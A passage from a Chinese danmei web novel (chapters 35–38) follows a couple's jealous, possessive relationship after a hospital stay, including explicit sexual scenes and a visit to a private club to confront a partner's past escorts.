他试图解释,但是走向门口时皮肤和衣服摩擦,红疹又疼又痒,他的脚步顿时磕绊不少,看起来步履维艰。 何晟和林芸看着他和他身后病床的视线更异样了,何晟胸膛起伏了一下,似乎很有些不悦,但最终也只是从鼻腔重重哼出一声。 一扭头,率先出去了。 林芸叹了口气,和何芷安并排往外走。 “他告诉你了?” “……嗯。” “什么时候的事?” “就昨晚。” 何芷安小声回应母亲的话,跟在何晟身后进了走廊尽头的休息室。林芸把门锁了,一家人在沙发上坐下,只是林芸和何晟坐在何芷安对面,好像审判。 何晟:“你和程家小子,现在怎么样了?” 何芷安想,这要怎么讲?早上他们都看到了,他和程起云睡觉了呀。不过他不好意思把这个讲出来,就说。 “我要和他结婚。” 林芸转头对何晟说:“你看,我说了吧,他知道事情经过之后不会生气,说不定还会心疼起云。” 何芷安闻言不高兴了:“那也没有,谁说我不会生气?我还捅了他一刀呢!” 林芸和何晟异口同声:“捅谁?” 何芷安理直气壮地说:“程起云啊!” 何晟终于紧张起来:“那他现在躺在病床上……你捅他哪里了?” 何芷安说:“胳膊。” 何晟松了口气:“哦,胳膊啊。” 林芸发现自己和丈夫似乎也因为背负这个瞒着何芷安的真相太久,被所谓的命运弄得情绪敏感,不由扶了扶额角。 “真是……” 何芷安反应过来:“你们不会以为我杀了他吧,我哪有那么坏啊!” 林芸安慰他:“你不坏,你是妈妈的宝贝。” 何芷安却生气起来:“还说程起云,你们也一直瞒着我,看着我伤心难过,我根本不是你们的宝贝。” 何晟一时失语,紧张地看向妻子,林芸熟练地哄他。 “是,怎么不是?我们只是怕告诉你了……你会作出一些不顾自己安危的事。” “这个肯定也是程起云跟你们讲的,你们只听他的,不听我的。” “爸爸妈妈是担心你。” “你们是被他那份遗嘱说服了吧!” 何晟忽然沉下了脸:“何芷安,你在想什么?你觉得我和你妈妈会因为浙兴的股份,他程起云的那笔遗产,就和他统一战线了?我们不开口,从头到尾就是为了你!” 何芷安其实明白,如果他骤然得知命运存在,一定不会接受,也不会因此和程起云疏远、分隔两地。莽撞之下可能会遭遇不可预知的危险。 可他毕竟深爱和信任着自己的父母,同时被至亲和挚爱瞒着,心里不好受。 他垂下眼睛,睫毛颤抖,很可怜的模样。 何晟一下子就心软了,况且程起云进行遗嘱公证的时候他们确实很惊讶,也觉得安心不少。在新兴技术领域,浙兴是异常锋利的一柄尖刀,年轻又寒光闪闪。没有哪个集团,或者某个人会觉得自己的事业已经封顶,自己的财富已经足够,即使对于何家来说,浙兴仍是一笔难以估量的财富。 程起云的遗嘱就这样将它拱手送出,甚至程父也在场,默认了这个决定。 何晟说:“你是不是觉得,对你而言,这份遗嘱没有什么意义?反正我们离开以后,整个何家都会是你的,你不需要他程起云什么东西。” 何芷安抬眼:“我没有想过你们会离开。” 何晟眼神放柔:“但是,我和你妈妈总会有离开的那一天。你又不喜欢集团这些事,多一份东西给你,就是对你未来的人生多一份保障。” “就算不谈那么远,我们谈现在。程起云初跟我谈命运的时候,我觉得很可笑,后来不得不相信。接着我就想到,为什么是我的孩子要去受这个伤?虽然非常不公平,但确实说明了一点,你能够威胁到程起云。” “他看中你,甚至超过看中他自己。否则,命运可以用他自身的死亡作为威胁,而不是用你的死亡来威胁他。” “所以程起云的这份遗嘱并不只是未来的事。”何晟看着何芷安:“在命运下,如果他变心了,或者仅仅是爱你的程度比不上他爱自己了,那么,受到生命威胁的就会是他。他那种人,不会甘心受命运掌控,一旦越轨失败,假使又偏偏最爱自己,就将迎来死亡的惩罚。” 程起云如果没死成,只能忍受命运的摆弄,而命运的惩罚能让何家看清,这个人不够爱自己的孩子。 程起云如果死了,等于在这个基础上,赔付了何芷安一笔巨额财富。 这份遗嘱与其说是未来的担保,不如说是“程起云永远最爱何芷安”的一份终生保险。 何芷安也明白了这一点,怔怔坐在原地。 何晟和林芸对视一眼,林芸温柔地说:“所以我们才不插手你和他的事,我知道起云这孩子有缺点,但我也知道,你最喜欢他。除了他,让我们再想一个能百分之百放心把你交出去的人……说实话,我们也想不出来。” 何芷安慢慢回神,嘟囔:“什么叫把我交出去……” 何晟轻嗤:“昨晚上他不就睡病房里了?” 何芷安双颊泛红,下意识站起来:“那是!” 话没讲完,布料摩擦间感知复苏,何芷安又浑身难受地不自然起来。何晟摆出不想看他的表情,何芷安提高声音喊冤。 “我过敏了!” 他掀开衣摆展示自己的侧腰,何晟总算用正眼看他,林芸赶紧叫来医生给他擦了药,等何晟与林芸离开,何芷安就趴在一张新的小床上,被从门口推回病房。 程起云恰好醒了,黑发凌乱,胳膊包着层层纱布,屈腿坐在病床上。 他看着被推进来身上满是药膏气味、仿佛受了很惨痛的虐待的何芷安,抬手摁了下太阳穴,难得露出不自信的迷茫表情。 昨晚,他把何芷安弄坏了? 第35章 第 35 章 变心 何芷安过敏, 程起云左臂受伤,两人就在病房里住了下来。 林芸让人把病床的床品换成了何芷安在家里惯用的,何芷安的过敏并不严重, 两天就好了, 但还是赖在医院。 程起云这条胳膊反复受伤,主治医生查房的时候强调了好几次,说他再这样不顾惜身体, 下次再出点什么状况,左臂保不齐就要废了。 医生为了病人的身体,警告中多少也带了些夸张意味。程起云很平静地表示知道了,倒是何芷安在旁边紧张起来, 每次等医生离开,都要焦虑地在房间里走来走去。 这回何芷安送医生出门,扭头就要开始绕圈,被程起云叫住。 “别转了宝贝, 你转得我头都晕了。” “头晕?”何芷安立刻转身,趴在床上:“你怎么会头晕呢?是不是左臂受伤的后遗症?我……” 我是被你转晕的。程起云想重复这点,可何芷安紧张兮兮的样子实在好玩,双手扒着床沿像只大眼睛猫咪。他便没吭声,仅仅垂眼望着他。 何芷安自顾自紧张了一会儿, 最后才从他唇角的轻微笑意判断出他大约没什么事儿—— 本来, 何芷安是没那么心疼程起云的。不, 也不算,他是很心疼程起云的, 只是在挥刀刺伤程起云时,同心疼的情绪齐齐成百上千倍翻涌上来的是痛快。 他也可以折磨程起云、伤害程起云,而程起云爱他, 无条件接纳,甚至用生命向他表明忠诚。他因此获得快慰,借由这快慰抚平自己的伤痛。 可等他终于从仅凭自己无法挣脱的痛苦中脱身,再看程起云,心疼就占了上风。 如果程起云的胳膊真的坏了可怎么办呀?他就再也抱不动自己了。 ……他还想在婚礼的时候被程起云抱着或者背着走红毯呢。 他低声说:“坏蛋。” 程起云听到了,笑容并没有变化,仍然是那样隐晦的两段线条,伸手勾了勾他下巴处单薄的软肉。 这是何芷安近几年常看见的程起云,不怎么笑,笑起来也是浅浅的。笑容放大的时候往往表明他在暴怒,有人要倒超级大霉。但是以前的程起云还是会笑的。 “你笑一个给我看看。”何芷安单手撑着脸颊,蹲在床边:“像这样。” 他朝程起云呲了呲牙做示范。 程起云看着他,表情没有变化。 何芷安坚持不懈地保持着唇角大大的弧度:“像我这样。” 程起云脸上原本微小的笑容也敛去了,他居高临下地看着何芷安,无动于衷。 何芷安:“你干嘛?” 程起云:“这样很丑。” 何芷安怒而掀被,想把程起云捂死算了,反过来被程起云单手拖上床,光天化日好一通胡混。 等程起云可以出院的时候,何芷安的过敏早就好了,他还是很担心程起云的胳膊——只是当程起云觉得他啰嗦,把他捏成鸭子嘴,又公主抱起他坐电梯下楼,穿过有着不少病人和医护的庭院坐上车,他就不担心了。 程起云的胳膊仍然很有力量,隆起的肌肉硌着他的腿弯。他坐在对方大腿上,不好意思地躲开车外的视线,却没挪到座椅上去,一下下用手指头戳着程起云的胸膛。 男人的胸肌肌理结实健硕,甚至能形成沟壑。何芷安实地接触过,他考察了程起云浑身上下,现在对未婚夫身上的每寸皮肤都很了解,这样看着看着,不由自主就脸红了。 程起云把前后车厢的挡板升了起来。 何芷安敏锐地问:“你要干什么?” 程起云似笑非笑:“升个挡板而已,你紧张什么?” 何芷安不吭声了,程起云反而来逼问他:“安安,你想到什么了?或者说,你在想什么呢?” 脸颊明显发烫,何芷安不想坐在程起云腿上了,要挪开,迟了一步,被摁住了腰。现在天气已经转暖,他只穿着单件的薄毛衣,宝蓝色的,衬得皮肤白净似玉。浅淡的眼珠望过来,湖水一般起波澜,身材修长练出漂亮薄肌的何芷安也非完全没有挣扎的余地,却只用眼睛来反抗。 不知是反抗,还是引诱。 程起云当然有自己的解读。他单手扣住何芷安的下巴,逼他仰头,那同样白净的脖颈就拉出流畅的优美线条。喉结滚动着,像藏着只亟待发声的鸟。 恰好,程起云听过甜蜜的鸟叫。 “我在问你问题。”程起云轻声问:“为什么不回答我,不听哥哥的话了?” 这段时间,程起云渐渐开始自称起“哥哥”。何芷安原来没注意,但是他越来越明显,就不得不注意到了。他有些疑惑,因为过去程起云并不这样,也没什么逼他叫哥哥的癖好……不过,他也未多想。反正现在的程起云很坏,什么都干得出来。 “你不是我哥哥。” 何芷安被他虎口顶着,发声也含混:“你是混蛋。” 程起云从鼻腔哼出个音节,发烫的吐息随之喷上何芷安的脖颈,何芷安同时发烫,脸颊的红晕扩散下来。 他咬住何芷安的脖子,牙齿磨过凸起的喉结。何芷安立刻闭上眼睛,睫毛颤抖不停,他咬着牙关以示反抗,可就像他了解程起云,现在程起云也完完整整地了解他。 男人的手在他后腰上随便揉了一把,柔软的毛衣布料带着力道磨过腰线,何芷安的牙关就松了。 程起云意料之中听到鸟鸣。 他反复磋磨,那鸟鸣也自然婉转,虽然是初春,但什么鸟会叫春? 程起云就拿这个问题问何芷安,说这只鸟异于常鸟,估计不是什么好鸟。那他对付坏鸟,不管用什么手段都是有道理的——何芷安被他气哭了。 因为他决心变成哑巴让程起云不能拐弯抹角欺负他,可是他完全变不成哑巴,失败的反抗换来更多教训,程起云时隔两个月,再次咬住他的耳朵,叫他。 两个字陷入耳廓,极富羞辱性质的词,何芷安几乎哆嗦起来。 但是他的身体却柔顺地接受了这个词,那么坦诚朝被形容的趋向发展。程起云欺负完了他,又提交易。 “叫哥哥,嗯?”程起云搂着他,手掌安抚性地摩挲他的后背,这会儿嗓音温柔了:“这是安安吗?我的宝贝。” 何芷安有点迷糊,差点顺着他的心意开口叫哥哥。好歹含在嘴里的那刻清醒,跟程起云唱起反调。 “不要,最讨厌你。” 程起云摸着他背的动作停了,漆黑的眼珠凝视着他,片刻,笑了一声。 车直接开到了程家,程父程母也在的那座别墅群。何芷安还是被程起云抱下来的,这回不是因为他担心这个王八蛋的胳膊,是因为他的裤子被弄脏了,不好走路。 这么狼狈,何芷安再大的心也不能去见程家父母了,直接被程起云运回了窝。这里他好久没来,久别重归,居然还是原来的样子。 就像一切都没发生,一切都没改变。 当然,这只是错觉,实际上是变了的,变化最大的程起云就在他身边。片刻的恍惚,何芷安被程起云抱到浴室里,脏了的裤子扔进脏衣篓,何芷安坐在浴缸边缘,看着程起云半跪在他身前。 男人拿了淋浴,沿着他的脚踝往上冲。 温热的水流爬过皮肤,像昆虫的舌头,好在何芷安在车上被闹够了,现在只觉得痒,没有其他什么。 程起云大概也是因为有了一次,现在看起来很平静地给他冲洗。手掌磨着沐浴露给他揉泡沫,薄荷香的沐浴露挥发,混着热水的气味,让人的变得潮湿,沉甸甸地安稳下来。 “哥哥。”何芷安忽然问,“你在紧张什么?” 程起云动作一顿,手掌托着他的小腿,慢慢抬头看他。 何芷安的脚踩到他的西裤上,面料迅速被水浸湿。程起云没动,何芷安就着这个姿势俯身,和他靠近到近乎鼻尖相抵的距离。 “干嘛总是凶我?” 程起云终于问:“我凶你了吗?” 何芷安:“平时没有,但那种时候就很凶。” 程起云:“哪种时候?” 何芷安:“……你再说!” 程起云笑了一声,又沉默下去,几秒钟后,他关掉淋浴,再度扣住了何芷安的脚踝。 何芷安觉察到一种被束缚感,没等他感到不适,先被程起云投注过来的眼神摄在了原地。程起云盯着他,开口。 “其实你爱的不是我,对吧?” 何芷安愣住:“什么?” 程起云咬肌微微鼓起,仿佛在用着什么力,呈现出压抑的姿态。他上身前倾,何芷安坐在浴缸光滑的边缘,被他挤压,不得不用双臂环住他的肩膀保持平衡。 “你爱的是过去的那个程起云,不是我。”程起云人为地把自己和过去割裂,眉弓下沉,谈及过去时几乎是用嫉妒的口吻。偏偏还要给无辜的何芷安下判决:“你不爱我,安安,你变心了。” 第36章 第 36 章 疯子 何芷安不知道程起云在发什么疯。 明明过去那个也是他, 现在这个也是他,又不是性格变了就不是一个人了。 不管是以前那个程起云,还是现在这个程起云, 何芷安都是很喜欢的。毕竟他也不是原来的何芷安了, 每个人都会因为时间的流逝发生变化,就算他们并没有经历那命运不公的种种,也一样会改变。 只不过, 如果没有命运,没有白非,他们会一直在一起。在长久的相处中也许意识不到对方的改变,因为有了分离, 才会认识到眼前这个新的人。 比如说,现在的何芷安也有一点坏了。 他对现在和过去的程起云的爱意没有什么不同,但他并不打算说出来。 相反,他踩着程起云的大腿, 躬下身,和男人凑得很近。鼻梁贴着厮磨,用这样温情脉脉的姿态反问。 “哥哥,你搞错了吧?” 何芷安说:“就算我要变心,从喜欢这个你到喜欢那个你, 也不叫变心啊……你应该担心的是, 我喜欢上别人。” 程起云瞳孔一缩, 显然这刻他们想起了同一个对象。 “如果我喜欢上钟旻,你怎么办?” 程起云:“你不会的。” 何芷安:“你怎么知道我不会?” 程起云:“你说了你爱我。” 何芷安:“但是我的第一次是他的。” 何芷安故意刺激他, 拖长了语调:“……毕竟,他是我的第一个男人。” 程起云的手立时钳紧了他,那样的力度, 甚至令何芷安吃痛。 凝视他片刻,程起云忽然笑了,轻声问。 “安安,你故意惹我不高兴?” 何芷安的小心思被揭穿,还以为自己和钟旻实际上没做什么的事情被发现了。没等他想好是继续圆谎、刺激程起云,还是就这样坦白,程起云忽然把从浴室抱了出来,压在了主卧的落地窗前。 “我记得你说,你们第一次是在窗台边上。” “我知道你住在洋楼二层,那是个实木雕花窗柩,对不对?你是怎么被压在上面的?是背对着他,还是面对着他?” “他吻你了吗?” 不管何芷安到底是怎么被钟旻压着的,反正程起云是将他面对落地窗摁了上去。何芷安刚在浴室换下弄脏的裤子,现在双腿被热水冲得软乎乎又湿淋淋,仅仅上身一件柔软宽大的薄毛衣。 宝蓝色的布料垂下来,衬着窗外泼进来的日光,何芷安的皮肤白得几乎晃眼。 程起云从背后钳制他的后颈,不伤到他但不容反抗的力道,咬着何芷安的耳廓问他和钟旻的细节。 何芷安被他从地点到姿势到吻问了个遍,才反应过来程起云压根不是识破了他的谎言,根本是直接陷入嫉妒的深渊,一时半会儿爬不出来了。 他一时有点兴奋,又有点害怕,犹豫着不知道该不该继续惹程起云。 然而,正是这面上泄露出的犹豫,被程起云判定为同他人情事的遮掩。他五指穿进何芷安的发丝,握住了,强迫他转头,用力吻上了何芷安的嘴唇。 那样凶的吻,何芷安立刻昏头转向,偏偏程起云还问他。 “钟旻是怎么吻你的?舔你舌头了吗?” “你说过他让你很爽……” “是比我更能让你爽吗?” 程起云粗暴地搅弄他的口腔,最初用舌头,后来用手指。潮湿的手指摸下去,隔着毛衣摩擦,何芷安有些地方不习惯被碰触,在他掌下应激地躬起肩背,但程起云的手指如影随形,指腹上的口水在胸膛外的毛衣上蹭干。 这里当然没被钟旻碰过,先前程起云也会碰,但因为何芷安不喜欢,他并没有这么执着。现在的动作却堪称顽固,何芷安好似埋在海边沙砾下的贝类,先是被隔着沙子揉搓一通,后来那手干脆探进沙子里去,撬开他瑟缩的蚌壳,直接揪扯里面的软肉。 既痛又……十分古怪。 程起云自认为受了滔天委屈,同时始终认为何芷安是他的,是他走过命运的刀刃后迟早要获得的奖品。尽管随后终其一生他都要惴惴不安这个奖品的安全性,生怕他碎了,但他绝对是要拥有的。 他这样煎熬,这样痛苦,被折磨成了何芷安完全陌生且不喜欢的样子,钟旻不过是才承受他面对的一切,就和何芷安撒娇倾诉,凭什么? 给予钟旻安慰的何芷安又凭什么? “这不公平,安安。” 程起云贴着何芷安发红的耳廓:“他对你哭一哭,你就拥抱他了吗?你以为他是三岁小孩,抱他在窗台吃奶,你知道你抚慰他的时候我怕我腿上没有中枪、剧情偏移,用了多少心力去把控事态发展吗?” “那栋洋楼下到处是我的人,我监管着那栋楼,随时可以把你抢出来,我没做。只不过是觉得你当时离我远点更安全。” “钟旻又干了什么?” 何芷安被他磋磨得受不了,连带心脏也随着他的话蔓延起细微的痒痛。他讨饶:“没有,我们没有做你说的事……什么给小孩喂奶,你不要乱比喻……” 但他没说完就说不下去了,因为程起云把他翻过来,他背靠着落地窗,毛衣捋起,程起云当真践行了自己的话。要把他臆想中钟旻得到的一切加倍讨回来。 落地窗的窗帘自然是大大敞开的,正是下午,日光灿灿。何芷安的后背贴着冰凉的玻璃,汗毛都竖起战栗,也就是别墅群楼间距实在很远,但凡分布密集一些,就能一眼看清一个白皙的影子印在玻璃上,怀抱着俯身的男人,那样分明且不堪入目的姿态,简直不知廉耻。 何芷安还是有廉耻的,即使是他回国后勾引程起云,大多时候也是在私下里,自己也会害羞。因此在这样明亮之处,尽管知道不会有人看见,还是从头麻到了脚,很是忐忑。 再加上玻璃冷,可程起云又带给他热,冷热交织,他很快哆嗦起来,一下子就决定坦白从宽了。 “没有,没有,哥哥。我骗你的,我和钟旻什么也没有。” “我只有你,真的。” 可是程起云抬头,从男人漆黑的视线中,何芷安胆战心惊地意识到,现在的程起云,恐怕是什么都听不进去的。 他小心翼翼地在程起云面前晃了晃一根手指,程起云追着他的手,张嘴,咬住了他的指节。 然后就着这个姿势抬眼盯着他,笑了一声。 何芷安立刻推开他,转身就跑! 毛衣落下来,擦过,居然一阵刺痛。何芷安半路难受地跳了一下脚,程起云甚至没有急着追他,任他乱跑乱撞奔到房间门口,才阔步赶上,从他身后伸出胳膊握住门把手往回一带。砰,沉闷的钝响,何芷安被困在门板和他的臂弯里。 何芷安闭上眼睛,小声:“哥哥,我讨厌钟旻,一点也不喜欢他。” 程起云说:“把腿张开。” 车上已经弄过一次,结果又因为说谎被从房门上弄到地板再到大床,天黑尽了,何芷安精疲力尽,晚饭都没吃就睡过去。 半夜饿醒,怒从心起,何芷安觉得程起云干嘛这么对他!就算自己和钟旻睡了又怎么样,程起云还和白非睡了呢,就算第一次是把握不准剧情迫不得已,后来那不是破罐破摔大睡特睡了吗!还睡了别人! 再说他和钟旻根本没睡! 可是,他总不能像程起云折磨他一样,用同样的方法折磨程起云吧?不是他不舍得,程起云肯定会配合的,主要这不是在折磨程起云,是在折腾他自己啊。 这可怎么办? 程起云没在床上,何芷安生了一会儿饿气,怒意蔓延,又开始气他半夜不陪自己睡觉。他也不下床找人,拿出手机就打电话,也不过五分钟,程起云就回来了,穿着居家睡衣,鼻梁架着平光眼镜,看样子是在书房。 他坐在床沿,问:“怎么了,宝贝?” 现在他又看着像个正常人了。 何芷安气不过,干脆地说:“我和钟旻什么也没做!” 只不过接吻了。他在心里悄悄补充。 程起云的眼珠在镜片下显出幽深的色泽,他定定地注视着何芷安,没说信,也没说不信。何芷安也不管他,凑过去捏住他的两边脸颊,质问。 “那你和那么多人睡觉,我要怎么报复你?” 程起云的眸光晃动,原本看不出情绪的脸上竟因为这个问题泄露出隐约的愉悦。 “安安,你嫉妒么?” 他吻了一下何芷安,用很平静的口吻说:“那我带你去我找人的俱乐部,你当着我找过的人的面睡我,证明我是你的,怎么样?” 何芷安愣住,震惊地看着他——今天自己只是被压在落地窗前就不好意思了,程起云居然让他们当着别人的面做这种事? “你神经病啊!”何芷安忍不住提高嗓音:“你是认真的吗?” “当然是。” 程起云低头,嘴唇碰着他锁骨下深蓝色的流云纹身:“安安,你在身上纹我的名字有什么用?别人看见这团云,也不会马上想到我。让他们亲眼看见,不好吗?” “让他们知道,我这辈子剩下的所有时间,都只有你一个。” 黑暗中,何芷安被他亲吻着,听着他的声音,竟然被蛊惑了。他呆呆的,在没反应过来之前,已经问。 “是哪个俱乐部?” 第37章 第 37 章 勇闯俱乐部 何芷安第二天睡醒之后脑子清醒了, 理智也回来了。 十万分觉得程起云的提议很变态。 但是在嫌弃之余,他的心里又有那么点微小的蠢蠢欲动,不由地偷偷摸摸研究起那个俱乐部来。 这家俱乐部叫“E.”, 没有其他任何标识, 提供一些针对权贵的特别服务,也有正常的酒会、聚会功能。 何芷安偷偷摸摸地砸钱注册了会员,还没来得及深入研究会员的多种权利, 先听说了从京城传来的一件事。 ——钟旻除了车祸,重伤昏迷后送医,至今未醒。 他不免惊讶,作为经历过两次车祸的人, 下意识想到自己。 钟旻出车祸是意外、人为……还是天命? 他找何晟打听了一下消息,据说钟旻带着白非回京后,很是作为了一番。在外人眼里,他这趟南下就像挖到了龙脉, 导致气运加身,做什么顺什么。原本钟家和顾家生出嫌隙,暗地里斗法,顾卫和莎拉订婚后顾家一度占据上风,但钟旻回来后就凭一己之力扭转了颓势, 小半个世纪以来走下坡路的钟家竟有要回到巅峰的态势。 钟家好些产业交给了白非打理, 这个原本不被京城世家, 乃至钟家自己都看不上的无根无基的小子简直就是个金饭碗,他插手的项目为钟家输送了大量资金。 本来一切都好好的…… 何晟:“钟家打算让钟旻和白非结婚, 其实钟旻最开始把白非带进钟家大概就有这个意思,只是临到订婚,他忽然反悔了。” 何芷安:“他们没订婚吗?那车祸……” 何晟:“他取消了订婚宴, 就在从酒店出来的路上,发生了车祸。” 何芷安因这事儿恍惚了几天,按照时间推算,笼罩在他们身上的所谓命运已经到了尾声。最后的结局应当是钟旻和白非成就一对佳偶,两人携手让钟家重回巅峰——程起云话说得很难听,但何芷安知道,他有一点没说错。 钟旻从一开始就做了选择,在他心里,钟家的利益是大过一切的。因此在见到白非后,除了程起云中枪那天他将何芷安带回住所,抛出“二选一”的抉择膈应了程起云一把,他从未做过违背命运指引的事。 这次出车祸,何芷安并不认为是偶然,更像是命运的审判。 那么,明明成功近在咫尺了,为什么反而后悔了呢? 白非现在又怎么样了? 何芷安心里藏着这些问题,当然也不敢去问程起云,他如果问:哥哥,你听说了吗,钟旻好像因为违背你梦里的剧情出车祸成植物人了,你说他为什么要这么做啊?——保管会对上程起云一张似笑非笑的脸。 想到对方花样百出的折腾自己的方式,何芷安打了个冷颤。 算了算了,无论是钟旻还是白非,他们其实都和何芷安没什么关系。既不算仇人,也称不上朋友,顶多存在些被命运摆弄的同病相怜罢了。 对于何芷安来说,当然是当下的生活更重要的。 他自己从命运的余波中走了出去,开始全心全意同程起云做斗争。程起云这男的,明明客观上被辜负的是何芷安,他却一副自己受了天大煎熬折磨委屈的作态,性格扭曲得理直气壮。 不是没事找事盘问他在国外的生活、和钟旻在洋楼待着的那几天的点点滴滴,就是领着他出席各种公开宴请场合,还在浙兴总部办公室给他人为造了个窝。这窝里有柔软的长毛地毯,暖色调的懒人沙发,加湿器,小冰箱,甜品桌……总之,这一隅和整个办公室的北欧冷淡风格可谓是天差地别,生怕别人看不出作为执行总裁的程起云领地里有另一个主人似的。 这样一来,谁都知道程何两家的继承人“旧情复燃”了!一些知道程起云先前追着个“下层人”跑、原本就觉得不成体统的大家长们也十分满意,以此为例教训家里还在胡混的姑娘小子们。 看早早出来当家的程家小子,虽然之前闹出了不像样子的绯闻,那毕竟男人嘛,事业有成就是会轻狂点……现在不是就学好了?回归正道知道讨好真正的亲家了?看他把何家的小子宝贝的!你再看看你们!一个个就知道玩男人玩女人,出息一点没有就算了,找对象也不知道找个有头有脸的,一帮败家子! 其他人家里怎么训孩子的,反正除了亲近的几个朋友,也不会有人问到何芷安面上来。对于那些关系远的,他们的看法就和家里长辈一样,认为程起云和何芷安成了,那是正常的。关系近的如程序东、齐诚,早早看破了他的恋爱脑本质,认为他最终能把程起云弄到手那属于皇天不负有心人,调侃八卦两句也就够了。 至于何芷安自己,日日水深火热,痛并快乐着。 最开始他还挺积极地去程起云办公室窝着,陪着程起云工作,后来就无聊了,宴会也不想去。程起云倒是没勉强他,只是晚上回来就端着一副受伤的表情搞他,搞得何芷安看见床就打哆嗦,心里埋下仇恨的种子! 他又开始研究程起云荒唐过的那个俱乐部了,就算不听程起云的变态建议,当着一帮“高级鸡鸭”的面和他做,那也得去找找场子,大闹一番,好让程起云知道是谁对不起谁,不要骑到他头上来! 何芷安好好一个令人唾弃的恋爱脑,快要被程起云的不加节制逼成另一种令人唾弃的封建大家长式的男权主义者,只是可惜,他毕竟还没有成为。 而程起云是活着的封建家长,且阴暗、扭曲,控制欲极强。 成为会员才是进入这个叫E.的俱乐部的门槛,要在俱乐部里正常聚会没问题,但想在有特殊服务的楼层有个卡座,那是有基础消费标准的。 这消费还不能存在会员卡里,必须是真的消费,何芷安捏着鼻子点开了他们会员专享的直播间,付费观看了几场壮男的脱衣舞表演,还“预定”了几个壮男,花满卡座的钱之后,就准备勇闯俱乐部了。 他当然不打算和程起云一起去,那有什么意思!他要先去大闹一场,狠狠败坏程起云的名声,让程起云赶来之后只能面对一地狼藉和他人异样的目光! 且说这天,程起云照常出门工作,何芷安睡到日上三竿,从程家的别墅里爬起来——他现在和程起云已经事实同居了——吃掉厨房阿姨送来的早午餐,喝完半杯黑咖啡,就雄赳赳气昂昂地出门找事。 用的还是程家的司机。 程家的司机也是老熟人了,今天送他的这个姓林,何芷安管他叫林叔。 林叔见多识广,把车开进地下停车场后望着何芷安欲言又止,那是看着自家玉雕似的小白菜钻泥地里打滚的眼神,像是很想拦一拦。然而何芷安一点没注意到,兴冲冲就推开车门下去了。 俱乐部要刷电子版的会员卡才能过门禁,一过门禁就有服务生过来问,何芷安提了需求之后就带他坐专门的客梯上了三楼。三楼有一架天桥连着前后两栋建筑,显然,后面那栋才是真正的纸醉金迷之所。 何芷安跟着服务生穿过天桥,他戴着宽大的墨镜,半长的头发扎成多股细辫高高束起,用来绑辫子的发环嵌着碎钻,随着他走动碎钻折射出的亮影在发间摆晃,迷人眼睛。 墨镜下的那截下巴锋利,瘦削,苍白如雪。嘴唇倒是有血色,且看起来异常饱满,仿佛很适合接吻。 他自己就够引人注目,却毫无所觉,一脚踏进卡座里也没拉上简易的遮挡屏风,大咧咧地叠着二郎腿要菜单。 菜单上有酒水食品,也有人。 何芷安直接开口:“叫你们负责人过来,你伺候不了我。” 服务生看他一眼,周围注意到这的顾客也看过来,不过大多顾客拉着屏风,看不清面貌。服务生下去了,换了西装革履的经理服务,何芷安手指一弹菜单,一点也不压低嗓音地开口。 “程起云是你们这的会员吧?他都点过谁,全都给我叫上来。” 经理显然没应付过这等捉奸场面,周围的好事者甚至连屏风都拉开一半,就为看看谁的家属这么有种。 “要不,我先送您去包厢,我们再谈。”经理俯着上身,低声道:“我不太清楚您说的那位程先生……” 何芷安斜睨他,似笑非笑:“少来,他估计是你们这的高级会员,你还能不知道?没事,你可以直接给他打电话,他一样会让你满足我的要求。” 面貌温和英俊的经理擦了擦额角的汗,鞠躬后下去打电话了,没多会儿就回来,看来是获得了同意。 “程先生确实是我们的高级会员,您可以直接享有他的一切权益。这里不方便,您要不还是去我们的包厢,是免费……” “不,我就在这。” 何芷安磨了磨后槽牙,冷笑着说:“嫌这地方小,怎么,他是点过很多人吗?” 经理不好回答,汗流浃背地再次退下了。过了半晌,酒水冷盘流水似的送上他的桌面,他要的人也来了。 不过先来的不是程起云点过的人,而是何芷安为了刷消费记录预定的、早就忘在脑后的那帮壮男。 第38章 第 38 章 程起云不行 壮男能上这种私人俱乐部的“菜单”, 从身材到长相是难以挑剔的。他们只穿着紧身皮裤,脖子上戴着标了何芷安ID的铭牌,一气儿簇拥到了何芷安身边。 有两个在他身边坐着, 一个屈腿坐在他脚边, 把脑袋靠在了他的大腿上。 何芷安愣住了。 他一时没反应过来,围观群众倒反应得很快。他先前直呼程起云的大名,已经被人认了出来, 再看他这左拥右抱的姿态,一个共识就迅速蔓延。 之前婚约在身,程起云却流连花丛,还为个名不见经传的男人闹出好大一通绯闻。现在何程两家婚约稳固, 何芷安“何大小姐”这是找场子来了——看这架势,是程起云在这儿怎么潇洒,他也要乐他一回! 当然也有人觉得,何芷安不过是打着报复的名头给自己找乐子, 有程起云玩乐再先,他现在再怎么闹也没人能指摘他。 这消息从围观群众手里不胫而走,很快在私底下流向南都上层圈子…… 而何芷安也总算回了神。 他想起来确实是有这么回事儿,但这不是他今天的计划!他是要一个个点出程起云找过的人丢程起云的脸、让程起云羞愧,顺带宣示主权。现在这么一整, 他和程起云不成一回事儿了? 何芷安赶紧伸手去抓自己大腿上的脑袋, 触手的发丝竟然很柔软。对方抬头, 是混血的长相,深邃的碧绿色眼珠, 明明有着壮硕的肌肉,脸蛋却称得上天真清纯。 他因为这个视觉反差动作一顿,壮男已经双膝跪地, 弓着腰用娃娃脸去蹭他的下腹,难以想象这样精悍的身材能完成像猫一样柔软的动作。何芷安从小被保护得太好,没受过来自陌生人的如此挑逗,尴尬到站了起来! 旁边一直盯着的经理赶紧凑过来,低声下气地哄。 “先生,您要的其他人现在让他们来么?这里乱,我看还是去包厢……” 何芷安站起来就发现周围的视线,变得更尴尬了,他一时忘了能叫这帮人离开,总算听了经理的话带着人进了包厢。 屁股坐到沙发上才想起来,该从大厅走的明明不是自己!只是没等他叫人下去,那些曾经受过程起云光顾的男人们就进来了。 这些男人客观来说,长得都很不错,而且并非某一种特定的类型,高矮胖瘦各有不同,大概有五六个。 何芷安抱臂坐在包厢的长沙发上,看着眼前排成一排的这些男人,心里像喂了两壶醋,忽然生出货真价实的委屈来。 他咬牙切齿,锋利的眼神从左边扫到右边,没注意到昏暗的灯光掩住了眼神里的冷意,迷离的光线反倒将他清透的双眼蒙上一层别样的色彩,衬着他那张扬的五官,竟有种非同寻常的艳色。 食色性也——这帮男人起初被叫进来还心有惴惴,生怕出不了这个包厢的门,或者干脆横着出去。过往,像何芷安这样原配来找茬的事情不是没有。 然而,在何芷安的视线下,他们的心思忽然浮动了,飘向了另一个地方。 ……过往,想要尝尝另一半尝过的滋味的人,也不是没有。 有个大胆的,竟主动向何芷安走来,何芷安被他引起注意力,甚至没反应过来他要干嘛。 他这自己还心酸别扭着呢,没想出怎么整治程起云,怎么这人居然主动找他? 